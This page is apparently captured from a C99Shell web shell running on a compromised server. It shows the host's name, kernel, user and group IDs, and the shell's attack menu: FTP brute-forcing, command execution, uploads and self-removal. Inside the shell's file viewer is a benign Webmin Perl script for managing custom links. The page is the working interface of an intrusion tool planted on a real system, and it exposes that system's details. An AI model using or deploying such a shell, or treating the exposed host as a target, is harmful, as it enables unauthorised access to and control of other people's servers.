!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edit_newlinks.cgi (2.33 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Display all custom links for domains, and link categories

require './virtual-server-lib.pl';
&ReadParse();
&can_edit_templates() || &error($text{'newlinks_ecannot'});
&ui_print_header(undef, $text{'newlinks_title'}, "", "custom_links");
@tmpls = &list_templates();
@ctmpls = grep { !$_->{'standard'} } @tmpls;

# Make the table data
@links = &list_custom_links();
@cats = &list_custom_link_categories();
%catmap = map { $_->{'id'}, $_->{'desc'} } @cats;
$i = 0;
@table = ( );
foreach $l (@links) {
    $updown = "";
    if (%$l) {
        # Create move up / down links
        $updown = &ui_up_down_arrows(
            "move_newlinks.cgi?idx=$i&up=1",
            "move_newlinks.cgi?idx=$i&down=1",
            $l ne $links[0],
            $l ne $links[@links-1],
            );
        }
    $catdesc = $l->{'cat'} ? $catmap{$l->{'cat'}}
                   : "<i>$text{'newlinks_nocat2'}</i>";
    push(@table, [
        "<a href='edit_link.cgi?idx=$i'>".
          $l->{'desc'}."</a>",
        $l->{'url'},
        $l->{'open'} ? $text{'newlinks_new'} : $text{'newlinks_same'},
        join(", ", map { $text{'newlinks_'.$_} }
                  grep { $l->{'who'}->{$_} }
                   ('master', 'domain', 'reseller') ),
        $catdesc,
        @links > 1 ? ( $updown ) : ( ),
        ]);
    $i++;    
    }

# Generate the table
print &ui_form_columns_table(
    undef,
    undef,
    0,
    [ [ "edit_link.cgi?new=1", $text{'newlinks_add'} ] ],
    undef,
    [ $text{'newlinks_desc'}, $text{'newlinks_url'},
      $text{'newlinks_open'}, $text{'newlinks_who'},
      $text{'newlinks_cat'},
      @links > 1 ? ( $text{'newlinks_move'} ) : ( ), ],
    100,
    \@table,
    undef,
    0,
    undef,
    $text{'newlinks_none'},
    );

print &ui_hr();

# Show link category form
print "$text{'newlinks_catdesc'}<p>\n";
$i = 0;
@table = ( );
@hiddens = ( );
foreach $c (@cats, { }, { }) {
    push(@table, [ &ui_textbox("desc_$i", $c->{'desc'}, 50,
                    0, undef, "style='width:100%'") ]);
    push(@hiddens, [ "id_$i", $c->{'id'} ]);
    $i++;
    }
print &ui_form_columns_table(
    "save_linkcats.cgi",
    [ [ undef, $text{'save'} ] ],
    0,
    undef,
    \@hiddens,
    [ $text{'newlinks_catname'} ],
    undef,
    \@table,
    undef,
    1);

if ($in{'refresh'}) {
    # Update left frame after changing custom links
    if (defined(&theme_post_save_domain)) {
        &theme_post_save_domain($d, 'modify');
        }
    }

&ui_print_footer("", $text{'index_return'});

sub shorten_category
{
local ($desc, $max) = @_;
$max ||= 12;
if (length($desc) > $max) {
    return substr($desc, 0, $max-2)."...";
    }
return $desc;
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--